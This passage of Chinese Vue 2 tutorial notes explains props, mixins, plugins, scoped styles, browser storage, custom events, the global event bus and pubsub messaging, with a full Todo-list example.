				console.log(this.$refs.sch)   //School组件的实例对象（vc）
                                              // 这里拿到vc对象后，可以直接调用vc组件实例对象中的方法，
                                              // 访问vc组件实例对象中的属性
                
			}
		},
	}
</script>

4. props配置

1.功能：让组件接收外部传过来的数据

2.传递数据：<Demo name="xxx" :x="123"/>

3.接收数据：

​ 1.第一种方式（只接收）：props:['name']

​ 2.第二种方式（限制类型）：props:{name:String}

​ 3.第三种方式（限制类型、限制必要性、指定默认值）：

props:{
    name:{
        type:String, //类型
        required:true, //必要性
        default:'老王' //默认值
    }
}

备注：props是只读的，Vue底层会监测你对props的修改，如果进行了修改，就会发出警告，若业务需求确实需要修改，那么请复制props的内容到data中一份，然后去修改data中的数据。不建议在子组件中修改由props接收到的属性，哪怕是修改使用props接收到的对象中的属性，虽然可以实现功能，但不建议这么改，虽然这种情况没有报出警告，因为vue这里的监测只是浅层次的监测。

示例

App.vue

<template>
	<div>
		<Student name="李四" sex="女" :age="18"/>
	</div>
</template>

<script>
	import Student from './components/Student'

	export default {
		name:'App',
		components:{Student}
	}
</script>

Student.vue

<template>
	<div>
		<h1>{{msg}}</h1>
		<h2>学生姓名：{{name}}</h2>
		<h2>学生性别：{{sex}}</h2>
		<h2>学生年龄：{{myAge+1}}</h2>
		<button @click="updateAge">尝试修改收到的年龄</button>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			console.log(this)
			return {
				msg:'我是一个尚硅谷的学生',
				myAge:this.age // 因为props接收的数据优先于data,所以这里可以直接使用
			}                  // 避免直接修改传入的prop值,如果需要改,最好使用data接收props中的值,或使用计算属性
			                   // 因为当父组件重新渲染时,这个传入的prop值又会变掉,就会覆盖掉子组件修改的这个值了
							   // (也就是改了相当于待会父组件一刷新又被覆盖了)
                               // 针对这种情况,基础的做法:让父类提供一个可以修改值的函数,将此函数传给子组件,子组件
                               //                     调用此函数修改值
		},
		methods: {
			updateAge(){
				this.myAge++
			}
		},
		//简单声明接收（接收的props优先于data、methods、computed放到组件实例对象(vc)上）
        //          （所以props已经定义了，那么在其它配置项去定义同名的,会有警告）
		// props:['name','age','sex'] 

		//接收的同时对数据进行类型限制
		/* props:{
			name:String,
			age:Number,
			sex:String
		} */

		//接收的同时对数据：进行类型限制+默认值的指定+必要性的限制
		props:{
			name:{
				type:String, //name的类型是字符串
				required:true, //name是必要的
			},
			age:{
				type:Number,
				default:99 //默认值
			},
			sex:{
				type:String,
				required:true
			}
		}
	}
</script>

5. mixin混入

  1. 功能：可以把多个组件共用的配置提取成一个混入对象

  2. 使用方式：

    第一步定义混合：

     {
     data(){....},
     methods:{....}
     ....
 }

    第二步使用混入：
    全局混入：Vue.mixin(xxx)
    局部混入：mixins:['xxx']

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EROmLowY-1678282228357)(assets/image-20220126225309813.png)]

局部混入

在main.js同级目录下，创建mixin.js

export const hunhe = {
	methods: {
		showName(){
			alert(this.name)
		}
	},
	mounted() {
		console.log('你好啊！')
	},
}
export const hunhe2 = {
	data() {
		return {
			x:100,
			y:200
		}
	},
}

School.vue

<template>
	<div>
		<h2 @click="showName">学校名称：{{name}}</h2>
		<h2>学校地址：{{address}}</h2>
	</div>
</template>

<script>
	//引入一个hunhe
	import {hunhe,hunhe2} from '../mixin'

	export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷',
				address:'北京',
				x:666
			}
		},
		mixins:[hunhe,hunhe2], // 当混入的配置于组件中的data或method有重复情况时,以组件中的为准
	}                          // 当混入的配置中配置了mounted等生命周期函数时，混入配置与组件的mounted都会生效
</script>

Student.vue

<template>
	<div>
		<h2 @click="showName">学生姓名：{{name}}</h2>
		<h2>学生性别：{{sex}}</h2>
	</div>
</template>

<script>
	import {hunhe,hunhe2} from '../mixin'

	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男'
			}
		},
		mixins:[hunhe,hunhe2]
	}
</script>

全局混入

修改main.js，添加如下代码

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
import {hunhe,hunhe2} from './mixin' // 导入mixin.js
//关闭Vue的生产提示
Vue.config.productionTip = false

Vue.mixin(hunhe)    // 引用全局混入，每个组件实例都会混入这些配置，包括vm本身
Vue.mixin(hunhe2)


//创建vm
new Vue({
	el:'#app',
	render: h => h(App)
})

6. 插件

1、功能：用于增强Vue

2、本质：包含install方法的一个对象，install的第一个参数是Vue，第二个以后的参数是插件使用者传递的数据。

3、定义插件：

对象.install = function (Vue, options) {
    // 1. 添加全局过滤器
    Vue.filter(....)

    // 2. 添加全局指令
    Vue.directive(....)

    // 3. 配置全局混入(合)
    Vue.mixin(....)

    // 4. 添加实例方法
    Vue.prototype.$myMethod = function () {...}
    Vue.prototype.$myProperty = xxxx
}

4、使用插件：Vue.use()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rKd10ggn-1678282228358)(assets/image-20220126230616753.png)]

定义插件

// plugin.js
// 下面是通过暴露一个含有install函数的对象的写法，也可以暴露一个plugin函数并使用module.exports导出此函数，引用用法一样
// 其实只要暴露一个含有install函数的对象或者暴露一个plugin函数，使用es6模块化语法暴露或者使用commonjs语法暴露出来都一样
export default {
	install(Vue,x,y,z){  // 暴露一个对象,对象中必须要有一个install方法，接收到的第一个参数是Vue构造函数
		console.log(x,y,z) // 这个打印输出是在浏览器的console中可以看到，也就是说插件的这个方法在创建vm前执行
                           // 那么其实定义插件的意思就是在告诉Vue在创建vm实例之前要做的事情
		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})

		//定义全局指令
		Vue.directive('fbind',{
			//指令与元素成功绑定时（一上来）
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		})

		//定义混入
		Vue.mixin({
			data() {
				return {
					x:100,
					y:200
				}
			},
		})

		//给Vue原型上添加一个方法（vm和vc就都能用了）
		Vue.prototype.hello = ()=>{alert('你好啊')}
	}
}

应用插件

// main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'

//引入插件
import plugin from './plugin'

//关闭Vue的生产提示
Vue.config.productionTip = false

//应用（使用）插件
Vue.use(plugin,1,2,3)  // 也可以添加额外的参数,install函数能够收到

//创建vm
new Vue({
	el:'#app',
	render: h => h(App)
})

7. scoped样式

  1. 作用：让样式在局部生效，防止冲突。

  2. 写法：<style scoped>

npm view webpack versions 可查看webpack的版本

npm view less-loader versions 可查看less-loader的版本

npm i less-loader@7 安装less-loader的7版本

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T9bsiMzh-1678282228358)(assets/image-20220126233306291.png)]

// Student.vue
<template>
	<div class="demo">
		<h2 class="title">学生姓名：{{name}}</h2>
		<h2 class="atguigu">学生性别：{{sex}}</h2>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男'
			}
		}
	}
</script>

<style lang="less" scoped>  // 如果不写less,默认就是css， 
                            // scoped表示下面的样式旨在当前vue文件中的模板中生效，原理是添加了一个随机的属性值
	.demo{                  // App.vue中一般不写scoped
		background-color: pink;
		.atguigu{
			font-size: 40px;
		}
	}
</style>

8. Todo-list 案例

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4vS13EnZ-1678282228359)(assets/image-20220127200529129.png)]

组件化编码流程(通用)

总结TodoList案例

1、组件化编码流程：

(1).拆分静态组件：组件要按照功能点拆分，命名不要与html元素冲突。

(2).实现动态组件：考虑好数据的存放位置，数据是一个组件在用，还是一些组件在用：

​ 1).一个组件在用：放在组件自身即可。

​ 2). 一些组件在用：放在他们共同的父组件上（状态提升）。

(3).实现交互：从绑定事件开始。

2、props适用于：

(1).父组件 ==> 子组件 通信

(2).子组件 ==> 父组件 通信（要求父先给子一个函数）

3、使用v-model时要切记：v-model绑定的值不能是props传过来的值，因为props是不可以修改的！

4、props传过来的若是对象类型的值，修改对象中的属性时Vue不会报错，但不推荐这样做。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C56KNSD1-1678282228360)(assets/image-20220127231418315.png)]

案例代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5R2U8TZB-1678282228360)(assets/image-20220128230032573.png)]

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//创建vm
new Vue({
	el:'#app',
	render: h => h(App)
})

App.vue

<template>
	<div id="root">
		<div class="todo-container">
			<div class="todo-wrap">
				<MyHeader :addTodo="addTodo"/>
                
				<MyList :todos="todos" 
                        :checkTodo="checkTodo" 
                        :deleteTodo="deleteTodo"/>
                
				<MyFooter :todos="todos" 
                          :checkAllTodo="checkAllTodo" 
                          :clearAllTodo="clearAllTodo"/>
			</div>
		</div>
	</div>
</template>

<script>
	import MyHeader from './components/MyHeader'
	import MyList from './components/MyList'
	import MyFooter from './components/MyFooter.vue'

	export default {
		name:'App',
		components:{MyHeader,MyList,MyFooter},
		data() {
			return {
				//由于todos是MyHeader组件和MyFooter组件都在使用，所以放在App中（状态提升）
				// todos:[
				//  	{id:'001',title:'抽烟',done:true},
				//  	{id:'002',title:'喝酒',done:false},
				//  	{id:'003',title:'开车',done:true}
				//  ]
                
                todos:JSON.parse(localStorage.getItem('todos')) || []

			}
		},
		methods: {
			//添加一个todo
			addTodo(todoObj){
				this.todos.unshift(todoObj)
			},
			//勾选or取消勾选一个todo
			checkTodo(id){
				this.todos.forEach((todo)=>{
					if(todo.id === id) todo.done = !todo.done
				})
			},
			//删除一个todo
			deleteTodo(id){
				this.todos = this.todos.filter( todo => todo.id !== id )
			},
			//全选or取消全选
			checkAllTodo(done){
				this.todos.forEach((todo)=>{
					todo.done = done
				})
			},
			//清除所有已经完成的todo
			clearAllTodo(){
				this.todos = this.todos.filter((todo)=>{
					return !todo.done
				})
			}
		},
		watch: {
			todos:{
				deep:true,
				handler(value){
					localStorage.setItem('todos',JSON.stringify(value))
				}
			}
		}
	}
</script>

<style>
	/*base*/
	body {
		background: #fff;
	}
	.btn {
		display: inline-block;
		padding: 4px 12px;
		margin-bottom: 0;
		font-size: 14px;
		line-height: 20px;
		text-align: center;
		vertical-align: middle;
		cursor: pointer;
		box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
		border-radius: 4px;
	}
	.btn-danger {
		color: #fff;
		background-color: #da4f49;
		border: 1px solid #bd362f;
	}
	.btn-danger:hover {
		color: #fff;
		background-color: #bd362f;
	}
	.btn:focus {
		outline: none;
	}
	.todo-container {
		width: 600px;
		margin: 0 auto;
	}
	.todo-container .todo-wrap {
		padding: 10px;
		border: 1px solid #ddd;
		border-radius: 5px;
	}
</style>

MyHeader.vue

<template>
	<div class="todo-header">
		<input type="text" placeholder="请输入你的任务名称，按回车键确认" v-model="title" @keyup.enter="add"/>
	</div>
</template>

<script>
	import {nanoid} from 'nanoid'
	export default {
		name:'MyHeader',
		//接收从App传递过来的addTodo
		props:['addTodo'],
		data() {
			return {
				//收集用户输入的title
				title:''
			}
		},
		methods: {
			add(){
				//校验数据
				if(!this.title.trim()) return alert('输入不能为空')
				//将用户的输入包装成一个todo对象
				const todoObj = {id:nanoid(),title:this.title,done:false}
				//通知App组件去添加一个todo对象
				this.addTodo(todoObj)
				//清空输入
				this.title = ''
			}
		},
	}
</script>

<style scoped>
	/*header*/
	.todo-header input {
		width: 560px;
		height: 28px;
		font-size: 14px;
		border: 1px solid #ccc;
		border-radius: 4px;
		padding: 4px 7px;
	}

	.todo-header input:focus {
		outline: none;
		border-color: rgba(82, 168, 236, 0.8);
		box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
	}
</style>

MyList.vue

<template>
	<ul class="todo-main">
		<MyItem 
			v-for="todoObj in todos"
			:key="todoObj.id" 
			:todo="todoObj" 
			:checkTodo="checkTodo"
			:deleteTodo="deleteTodo"
		/>
	</ul>
</template>

<script>
	import MyItem from './MyItem'

	export default {
		name:'MyList',
		components:{MyItem},
		//声明接收App传递过来的数据，其中todos是自己用的，checkTodo和deleteTodo是给子组件MyItem用的
		props:['todos','checkTodo','deleteTodo']
	}
</script>

<style scoped>
	/*main*/
	.todo-main {
		margin-left: 0px;
		border: 1px solid #ddd;
		border-radius: 2px;
		padding: 0px;
	}

	.todo-empty {
		height: 40px;
		line-height: 40px;
		border: 1px solid #ddd;
		border-radius: 2px;
		padding-left: 5px;
		margin-top: 10px;
	}
</style>
MyItem.vue
<template>
	<li>
		<label>
			<input type="checkbox" :checked="todo.done" @change="handleCheck(todo.id)"/>
			<!-- 如下代码也能实现功能，但是不太推荐，因为有点违反原则，因为修改了props -->
			<!-- <input type="checkbox" v-model="todo.done"/> -->
			<span>{{todo.title}}</span>
		</label>
		<button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button>
	</li>
</template>

<script>
	export default {
		name:'MyItem',
		//声明接收todo、checkTodo、deleteTodo
		props:['todo','checkTodo','deleteTodo'],
		methods: {
			//勾选or取消勾选
			handleCheck(id){
				//通知App组件将对应的todo对象的done值取反
				this.checkTodo(id)
			},
			//删除
			handleDelete(id){
				if(confirm('确定删除吗？')){
					//通知App组件将对应的todo对象删除
					this.deleteTodo(id)
				}
			}
		},
	}
</script>

<style scoped>
	/*item*/
	li {
		list-style: none;
		height: 36px;
		line-height: 36px;
		padding: 0 5px;
		border-bottom: 1px solid #ddd;
	}

	li label {
		float: left;
		cursor: pointer;
	}

	li label li input {
		vertical-align: middle;
		margin-right: 6px;
		position: relative;
		top: -1px;
	}

	li button {
		float: right;
		display: none;
		margin-top: 3px;
	}

	li:before {
		content: initial;
	}

	li:last-child {
		border-bottom: none;
	}

	li:hover{
		background-color: #ddd;
	}
	
	li:hover button{
		display: block;
	}
</style>

MyFooter.vue

<template>
	<div class="todo-footer" v-show="total">
		<label>
            <!-- 比较普通的写法,可以实现 -->
			<!-- <input type="checkbox" :checked="isAll" @change="checkAll"/> -->
            
            <!-- v-model还可以使用计算属性,用到input输入类型表单,并且双向绑定,结合计算属性的set/get，很好的实现 -->
			<input type="checkbox" v-model="isAll"/>
		</label>
		<span>
			<span>已完成{{doneTotal}}</span> / 全部{{total}}
		</span>
		<button class="btn btn-danger" @click="clearAll">清除已完成任务</button>
	</div>
</template>

<script>
	export default {
		name:'MyFooter',
		props:['todos','checkAllTodo','clearAllTodo'],
		computed: {
			//总数
			total(){
				return this.todos.length
			},
			//已完成数
			doneTotal(){
				//此处使用reduce方法做条件统计
				/* const x = this.todos.reduce((pre,current)=>{
					console.log('@',pre,current)
					return pre + (current.done ? 1 : 0)  // pre是上次return的值,current是当前元素
				},0) */
				//简写
				return this.todos.reduce((pre,todo)=> pre + (todo.done ? 1 : 0) ,0)
			},
			//控制全选框
			isAll:{
				//全选框是否勾选
				get(){
					return this.doneTotal === this.total && this.total > 0
				},
				//isAll被修改时set被调用
				set(value){
					this.checkAllTodo(value)
				}
			}
		},
		methods: {
			/* checkAll(e){
				this.checkAllTodo(e.target.checked)
			} */
			//清空所有已完成
			clearAll(){
				this.clearAllTodo()
			}
		},
	}
</script>

<style scoped>
	/*footer*/
	.todo-footer {
		height: 40px;
		line-height: 40px;
		padding-left: 6px;
		margin-top: 5px;
	}

	.todo-footer label {
		display: inline-block;
		margin-right: 20px;
		cursor: pointer;
	}

	.todo-footer label input {
		position: relative;
		top: -1px;
		vertical-align: middle;
		margin-right: 5px;
	}

	.todo-footer button {
		float: right;
		margin-top: 5px;
	}
</style>

9. 浏览器本地缓存

1、存储内容大小一般支持5MB左右（不同浏览器可能还不一样）

2、浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。

3、相关API：

​ 1、xxxxxStorage.setItem('key', 'value');
​ 该方法接受一个键和值作为参数，会把键值对添加到存储中，如果键名存在，则更新其对应的值。

​ 2、 xxxxxStorage.getItem('person');

​ 该方法接受一个键名作为参数，返回键名对应的值。

​ 3、 xxxxxStorage.removeItem('key');

​ 该方法接受一个键名作为参数，并把该键名从存储中删除。

​ 4、 xxxxxStorage.clear()

​ 该方法会清空存储中的所有数据。

4、 备注：

1、SessionStorage存储的内容会随着浏览器窗口关闭而消失。
2、LocalStorage存储的内容，需要手动清除才会消失。
3、xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到，那么getItem的返回值是null。
4、JSON.parse(null)的结果依然是null。

localStorage

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>localStorage</title>
	</head>
	<body>
		<h2>localStorage</h2>
		<button onclick="saveData()">点我保存一个数据</button>
		<button onclick="readData()">点我读取一个数据</button>
		<button onclick="deleteData()">点我删除一个数据</button>
		<button onclick="deleteAllData()">点我清空一个数据</button>

		<script type="text/javascript" >
			let p = {name:'张三',age:18}

			function saveData(){
				localStorage.setItem('msg','hello!!!')
				localStorage.setItem('msg2',666)
				localStorage.setItem('person',JSON.stringify(p))
			}
			function readData(){
				console.log(localStorage.getItem('msg'))
				console.log(localStorage.getItem('msg2'))

				const result = localStorage.getItem('person')
				console.log(JSON.parse(result))

				// console.log(localStorage.getItem('msg3'))
			}
			function deleteData(){
				localStorage.removeItem('msg2')
			}
			function deleteAllData(){
				localStorage.clear()
			}
		</script>
	</body>
</html>

sessionStorage

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>sessionStorage</title>
	</head>
	<body>
		<h2>sessionStorage</h2>
		<button onclick="saveData()">点我保存一个数据</button>
		<button onclick="readData()">点我读取一个数据</button>
		<button onclick="deleteData()">点我删除一个数据</button>
		<button onclick="deleteAllData()">点我清空一个数据</button>

		<script type="text/javascript" >
			let p = {name:'张三',age:18}

			function saveData(){
				sessionStorage.setItem('msg','hello!!!')
				sessionStorage.setItem('msg2',666)
				sessionStorage.setItem('person',JSON.stringify(p))
			}
			function readData(){
				console.log(sessionStorage.getItem('msg'))
				console.log(sessionStorage.getItem('msg2'))

				const result = sessionStorage.getItem('person')
				console.log(JSON.parse(result))

				// console.log(sessionStorage.getItem('msg3'))
			}
			function deleteData(){
				sessionStorage.removeItem('msg2')
			}
			function deleteAllData(){
				sessionStorage.clear()
			}
		</script>
	</body>
</html>

10. 组件自定义事件

1、一种组件间通信的方式，适用于：子组件 ===> 父组件，

​ 特别注意比较这种自定义事件与props传值方式的共性和使用上的区别

2、使用场景：A是父组件，B是子组件，B想给A传数据，那么就要在A中给B绑定自定义事件（事件的回调在A中）。

3、绑定自定义事件：

​ 1、第一种方式，在父组件中：<Demo @atguigu="test"/>或 <Demo v-on:atguigu="test"/>

​ 2、 第二种方式，在父组件中：

<Demo ref="demo"/>
......
mounted(){
	this.$refs.xxx.$on('atguigu',this.test)
}

3、若想让自定义事件只能触发一次，可以使用once修饰符，或$once方法。

4、触发自定义事件：this.$emit('atguigu',数据)

5、解绑自定义事件this.$off('atguigu')

6、组件上也可以绑定原生DOM事件，需要使用native修饰符。

7、注意：通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时，回调要么配置在methods中，要么用箭头函数，否则this指向会出问题！

案例代码

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	/* mounted() {
		setTimeout(()=>{
			this.$destroy()
		},3000)
	}, */
})

App.vue

<template>
	<div class="app">
		<h1>{{msg}}，学生姓名是:{{studentName}}</h1>

		<!-- 通过父组件给子组件传递函数类型的props实现：子给父传递数据 -->
		<School :getSchoolName="getSchoolName"/>

		<!-- 通过父组件给子组件绑定一个自定义事件实现：子给父传递数据（第一种写法，使用@或v-on） -->
		<!-- 这种通过给组件实例vc对象绑定自定义事件的方法，与通过props函数(或也可传值)方式相比，
		     使用上更加的简洁，因为还得用props接收一下 -->
		<!-- 给这个Student组件实例对象上绑定了一个名叫atguigu的自定义事件,
		     当触发该Student组件实例对象的atguigu事件时,就会触发父组件定义的getStudentName函数的调用
			 自定义事件后面也可以跟事件修饰符比如@atguigu.once,表示只会触发一次 -->
		<Student @atguigu="getStudentName" @demo="m1"/>

		<!-- 通过父组件给子组件绑定一个自定义事件实现：子给父传递数据（第二种写法，使用ref） -->
		<!-- 下面组件实例如果写@click，其实并不会认为是dom原生的点击事件了,而是自定义事件
			 但是如果写成@click.native，那么就是dom原生的点击事件了,
			 并且将原生click绑定到Student组件最外层的div了
		 -->
		<Student ref="student" @click.native="show"/>
	</div>
</template>

<script>
import Student from './components/Student'
import School from './components/School'

export default {
	name:'App',
	components:{School,Student},
	data() {
		return {
			msg:'你好啊！',
			studentName:''
		}
	},
	methods: {
		getSchoolName(name){
			console.log('App收到了学校名：',name)
		},
		getStudentName(name,...params){
			console.log('App收到了学生名：',name,params)
			this.studentName = name
		},
		m1(){
			console.log('demo事件被触发了！')
		},
		show(){
			alert(123)
		}
	},
	mounted() {
		// this.$refs.student拿到的是student组件实例对象
		// 手动给student组件事件对象绑定名叫atguigu的自定义事件(比起直接在组件标签中直接绑定自定义事件灵活度高)
		// 并且,因为this.getStudentName函数本身就是挂载到了App组件实例对象身上,所以里面的this就是App组件实例对象
		this.$refs.student.$on('atguigu',this.getStudentName) 

		/* this.$refs.student.$on('atguigu',function(){
			console.log(this) // 如果这样写，这里的this就是student组件实例对象,而不是当前App组件
							  // 因为就是student组件发生了atguigu事件,触发了这个函数的调用，this指向事件源对象
		}) */

		this.$refs.student.$on('atguigu',() => {
			console.log(this) // 如果这样写，这里的this就是student当前App组件
						      // 因为箭头函数没有自己的this,就往外面找,而mounted是vm的生命周期函数,
                              // this指向App组件实例
		})

		//绑定自定义事件（一次性）
		// this.$refs.student.$once('atguigu',this.getStudentName) 
	},
}
</script>

<style scoped>
	.app{
		background-color: gray;
		padding: 5px;
	}
</style>

Student.vue

<template>
	<div class="student">
		<h2>学生姓名：{{name}}</h2>
		<h2>学生性别：{{sex}}</h2>
		<h2>当前求和为：{{number}}</h2>
		<button @click="add">点我number++</button>
		<button @click="sendStudentlName">把学生名给App</button>
		<button @click="unbind">解绑atguigu事件</button>
		<button @click="death">销毁当前Student组件的实例(vc)</button>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男',
				number:0
			}
		},
		methods: {
			add(){
				console.log('add回调被调用了')
				this.number++
			},
			sendStudentlName(){
				// 触发当前Student组件实例身上的名叫atguigu的自定义事件,并且可以添加其它的参数
				this.$emit('atguigu',this.name,666,888,900)
				// this.$emit('demo')
				// this.$emit('click')
			},
			unbind(){
				//从当前组件实例对象vc中解绑一个自定义事件
				this.$off('atguigu') 

				//解绑多个自定义事件
				// this.$off(['atguigu','demo']) 

				//解绑所有的自定义事件
				// this.$off() 
			},
			death(){
				// 销毁了当前Student组件的实例，销毁后所有Student实例的自定义事件全都不奏效，包括响应式也都不奏效了。
				// 但是请注意原生的绑定dom事件仍然还可用,比如click等，当然还响应式也没了
				// 还有一点要注意,组件实例vc被销毁了,它里面所使用的子组件实例对象也会被销毁
				this.$destroy() 
			}
		},
	}
</script>

<style lang="less" scoped>
	.student{
		background-color: pink;
		padding: 5px;
		margin-top: 30px;
	}
</style>

School.vue

<template>
	<div class="school">
		<h2>学校名称：{{name}}</h2>
		<h2>学校地址：{{address}}</h2>
		<button @click="sendSchoolName">把学校名给App</button>
	</div>
</template>

<script>
	export default {
		name:'School',
		props:['getSchoolName'],
		data() {
			return {
				name:'尚硅谷',
				address:'北京',
			}
		},
		methods: {
			sendSchoolName(){
				this.getSchoolName(this.name)
			}
		}
	}
</script>

<style scoped>
	.school{
		background-color: skyblue;
		padding: 5px;
	}
</style>

11. 全局事件总线

图解

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-19tYkS4C-1678282228361)(assets/image-20220129113554760.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dqs8vxGY-1678282228362)(assets/image-20220129150027511.png)]

1、一种组件间通信的方式，适用于任意组件间通信。

2、安装全局事件总线：

new Vue({
    ......
    beforeCreate() {
    Vue.prototype.$bus = this //安装全局事件总线，$bus就是当前应用的vm
    },
    ......
})

3、使用事件总线：

  1. 接收数据：A组件想接收数据，则在A组件中给$bus绑定自定义事件，事件的回调留在A组件自身。
methods(){
demo(data){......}
}
......
mounted() {
this.$bus.$on('xxxx',this.demo)
}
  1. 提供数据：this.$bus.$emit('xxxx',数据)

4、最好在beforeDestroy钩子中，用$off去解绑当前组件所用到的事件。

案例代码

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

// 自己手动通过组件自定义事件实现事件总线(全局事件总线的本质,就是自定义事件)
const Demo = Vue.extend({}) // 返回的是全新定义的VueComponent构造函数
const d = new  Demo()       // 使用VueComponent构造函数,去创建一个组件实例对象
Vue.prototype.$x = d // 将组件实例挂载到Vue的原型对象上的自定义属性$x上

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	beforeCreate() {
		Vue.prototype.$bus = this //安装全局事件总线，将vm挂载到构造函数Vue的原型对象上,这样每个vc都能访问到,包括vm
	},
})

App.vue

<template>
	<div class="app">
		<h1>{{msg}}</h1>
		<School/>
		<Student/>
	</div>
</template>

<script>
	import Student from './components/Student'
	import School from './components/School'

	export default {
		name:'App',
		components:{School,Student},
		data() {
			return {
				msg:'你好啊！',
			}
		}
	}
</script>

<style scoped>
	.app{
		background-color: gray;
		padding: 5px;
	}
</style>

School.vue

<template>
	<div class="school">
		<h2>学校名称：{{name}}</h2>
		<h2>学校地址：{{address}}</h2>
	</div>
</template>

<script>
	export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷',
				address:'北京',
			}
		},
		mounted() {
			// console.log('School',this)
			this.$bus.$on('hello',(data)=>{ // 原则其实就是：数据在哪，对数据的操作就在哪，
                                            // 当然事件总线的回调函数就应该定义在哪
				console.log('我是School组件，收到了数据',data)
			})
		},
		beforeDestroy() {
			this.$bus.$off('hello') // 别忘了,在组件销毁的时候,解绑事件。因为this.$bus是全局的!
		},
	}
</script>

<style scoped>
	.school{
		background-color: skyblue;
		padding: 5px;
	}
</style>

Student.vue

<template>
	<div class="student">
		<h2>学生姓名：{{name}}</h2>
		<h2>学生性别：{{sex}}</h2>
		<button @click="sendStudentName">把学生名给School组件</button>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男',
			}
		},
		mounted() {
			// console.log('Student',this.x)
		},
		methods: {
			sendStudentName(){
                // 这里触发vm的hello事件后,可以触发所有绑定在hello这个事件的回调函数
                // 换句话说：针对vm的hello事件，允许有多个组件对此事件绑定回调
				this.$bus.$emit('hello',this.name)
			}
		},
	}
</script>

<style lang="less" scoped>
	.student{
		background-color: pink;
		padding: 5px;
		margin-top: 30px;
	}
</style>

12. 消息订阅与发布

1、一种组件间通信的方式，适用于任意组件间通信。

2、 使用步骤：

  1. 安装pubsub：npm i pubsub-js

  2. 引入: import pubsub from 'pubsub-js'

  3. 接收数据：A组件想接收数据，则在A组件中订阅消息，订阅的回调留在A组件自身。

    methods(){
	demo(data){......}
}
......
mounted() {
	this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息
}

  4. 提供数据：pubsub.publish('xxx',数据)

  5. 最好在beforeDestroy钩子中，用PubSub.unsubscribe(pid)去取消订阅。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aHe5xkrl-1678282228362)(assets/image-20220129160809458.png)]

案例代码

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
})

App.vue

<template>
	<div class="app">
		<h1>{{msg}}</h1>
		<School/>
		<Student/>
	</div>
</template>

<script>
	import Student from './components/Student'
	import School from './components/School'

	export default {
		name:'App',
		components:{School,Student},
		data() {
			return {
				msg:'你好啊！',
			}
		}
	}
</script>

<style scoped>
	.app{
		background-color: gray;
		padding: 5px;
	}
</style>

School.vue

<template>
	<div class="school">
		<h2>学校名称：{{name}}</h2>
		<h2>学校地址：{{address}}</h2>
	</div>
</template>

<script>
	import pubsub from 'pubsub-js'
	export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷',
				address:'北京',
			}
		},
		mounted() {
			// console.log('School',this)
			/* this.$bus.$on('hello',(data)=>{
				console.log('我是School组件，收到了数据',data)
			}) */

			this.pubId = pubsub.subscribe('hello',(msgName,data)=>{ //第一个参数是消息的名字,第二个是消息内容
				console.log(this) // 写成箭头函数,由于箭头函数没有自己的this,就会找到mounted的this
				                  // 如果这里不写成箭头函数,那么这里的this是undefined
				// console.log('有人发布了hello消息，hello消息的回调执行了',msgName,data)
			})
		},
		beforeDestroy() {
			// this.$bus.$off('hello')
			pubsub.unsubscribe(this.pubId) // 记得取消订阅
		},
	}
</script>

<style scoped>
	.school{
		background-color: skyblue;
		padding: 5px;
	}
</style>

Student.vue

<template>
	<div class="student">
		<h2>学生姓名：{{name}}</h2>
		<h2>学生性别：{{sex}}</h2>
		<button @click="sendStudentName">把学生名给School组件</button>
	</div>
</template>

<script>
	import pubsub from 'pubsub-js'
	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男',
			}
		},
		mounted() {
			// console.log('Student',this.x)
		},
		methods: {
			sendStudentName(){
				// this.$bus.$emit('hello',this.name)
				pubsub.publish('hello',666)
			}
		},
	}
</script>

<style lang="less" scoped>
	.student{
		background-color: pink;
		padding: 5px;
		margin-top: 30px;
	}
</style>

13. $nextTick

